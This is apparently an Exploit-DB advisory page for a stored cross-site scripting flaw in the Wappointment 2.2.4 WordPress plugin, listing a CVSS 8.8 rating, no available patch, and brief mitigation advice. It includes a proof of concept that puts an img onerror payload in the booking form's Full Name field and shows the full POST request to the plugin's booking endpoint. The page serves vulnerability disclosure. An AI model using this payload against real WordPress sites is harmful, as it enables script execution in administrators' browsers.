WordPress Plugin Wappointment 2.2.4 - Stored Cross-Site Scripting (XSS)

vendor:

Wappointment

by:

Renos Nikolaou

8,8

CVSS

HIGH

Stored Cross Site Scripting

CWE

Product Name: Wappointment

Affected Version From: 2.2.4

Affected Version To: 2.2.4

Patch Exists: NO

Related CWE: N/A

CPE: 2.2.4

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2021

WordPress Plugin Wappointment 2.2.4 – Stored Cross-Site Scripting (XSS)

Wappointment is prone to Stored Cross Site Scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker can exploit this vulnerability by sending a malicious payload in the 'name' parameter of the POST request. This will allow the attacker to execute arbitrary JavaScript code in the context of the vulnerable application.

Mitigation:

Input validation should be used to ensure that untrusted data is not stored in the application. All user-supplied input should be validated and filtered before being stored in the application.

Source

Exploit-DB raw data:

# Exploit Title: WordPress Plugin Wappointment 2.2.4 - Stored Cross-Site Scripting (XSS)
# Date: 2021-07-31
# Exploit Author: Renos Nikolaou
# Software Link: https://downloads.wordpress.org/plugin/wappointment.2.2.4.zip
# Version: 2.2.4
# Tested on: Windows
# Description : Wappointment is prone to Stored Cross Site Scripting vulnerabilities 
# because it fails to properly sanitize user-supplied input.

# PoC - Stored XSS - Parameter: name
# 1) Open Wappointment Plugin or Visit booking-page http://localhost/booking-page
# 2) Click on any available delivery modality (By Phone, At a Location, Video Meeting or By Skype)
# 3) Select Date and Time, write your email address, your phone number and in the Full Name field type: testname"><img src=x onerror=prompt(1)>
# 4) Click Confirm
# 5) Login as admin to wp-admin portal, Go to Wappointment --> Calendar ( http://localhost/wordpress/wp-admin/admin.php?page=wappointment_calendar )


# Post Request (Step 4):

POST /wordpress/wp-json/wappointment/v1/services/booking HTTP/1.1
Host: domain.com
Content-Length: 205
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Type: application/json
Origin: http://domain.com
Referer: http://domain.com/wordpress/booking-page/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"email":"testemail@testemail.com","name":"testname\"><img src=x onerror=prompt(1)>","phone":"+00 00 000000","time":1630666800,"ctz":"Europe/Bucharest","service":1,"location":3,"duration":90,"staff_id":2}